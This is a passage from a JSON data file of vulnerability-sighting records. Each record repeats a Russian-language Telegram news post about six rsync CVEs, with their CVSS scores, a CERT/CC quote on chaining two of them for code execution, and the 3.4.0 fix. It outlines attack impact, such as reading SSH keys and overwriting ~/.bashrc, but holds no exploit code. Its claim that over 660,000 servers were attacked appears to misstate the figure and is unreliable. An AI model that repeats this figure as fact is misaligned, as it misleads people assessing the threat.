\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt\u00bb.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445:\n\n- CVE-2024-12084 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8) - \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 Rsync \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 16 \u0431\u0430\u0439\u0442.\n\n- CVE-2024-12085 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5) - \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,1) - \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Rsync;\n\n- CVE-2024-12087 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 Rsync;\n\n- CVE-2024-12088 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u043e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (\u041e\u0446\u0435\u043d\u043a\u0430 CVSS: 5,6) - c\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u0432 Rsync \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c CVE-2024-12084 \u0438 CVE-2024-12085, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440 Rsync. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u043d\u0430 \u0437\u0435\u0440\u043a\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 Rsync. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Rsync \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0435\u043d\u0434\u0430, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a BackupPC, DeltaCopy \u0438 ChronoSync.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0. \u0412 \u043d\u0435\u0439 \u0434\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043d\u043e\u043c\u0435\u0440 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d \u0434\u043e 32.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://kb.cert.org/vuls/id/952657 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-28T00:00:50.026411Z"}, {"uuid": "80a64c68-e7d1-4406-832c-f2aba351f663", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "exploited", "source": "https://t.me/EchelonEyes/3541", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435\n\n\u0412 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c Unix \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Google Cloud Vulnerability Research, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e, \u0431\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0438\u0441\u044c \u0430\u0442\u0430\u043a\u0430\u043c.\n\n\u00ab\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438 \u041a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 CERT (CERT/CC). \u2013 \u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt\u00bb.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445:\n\n- CVE-2024-12084 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8) - \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 Rsync \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 16 \u0431\u0430\u0439\u0442.\n\n- CVE-2024-12085 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5) - \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,1) - \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Rsync;\n\n- CVE-2024-12087 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 Rsync;\n\n- CVE-2024-12088 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u043e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (\u041e\u0446\u0435\u043d\u043a\u0430 CVSS: 5,6) - c\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u0432 Rsync \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c CVE-2024-12084 \u0438 CVE-2024-12085, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440 Rsync. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u043d\u0430 \u0437\u0435\u0440\u043a\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 Rsync. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Rsync \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0435\u043d\u0434\u0430, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a BackupPC, DeltaCopy \u0438 ChronoSync.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0. \u0412 \u043d\u0435\u0439 \u0434\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043d\u043e\u043c\u0435\u0440 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d \u0434\u043e 32.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://kb.cert.org/vuls/id/952657 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-28T00:00:50.115351Z"}, {"uuid": "3552d17e-650f-4b85-8f8e-c71cb9be0035", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12086", "type": "exploited", "source": "https://t.me/EchelonEyes/3541", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435\n\n\u0412 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c Unix \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Google Cloud Vulnerability Research, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e, \u0431\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0438\u0441\u044c \u0430\u0442\u0430\u043a\u0430\u043c.\n\n\u00ab\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438 \u041a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 CERT (CERT/CC). \u2013 \u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt\u00bb.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445:\n\n- CVE-2024-12084 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8) - \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 Rsync \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 16 \u0431\u0430\u0439\u0442.\n\n- CVE-2024-12085 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5) - \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,1) - \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Rsync;\n\n- CVE-2024-12087 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 Rsync;\n\n- CVE-2024-12088 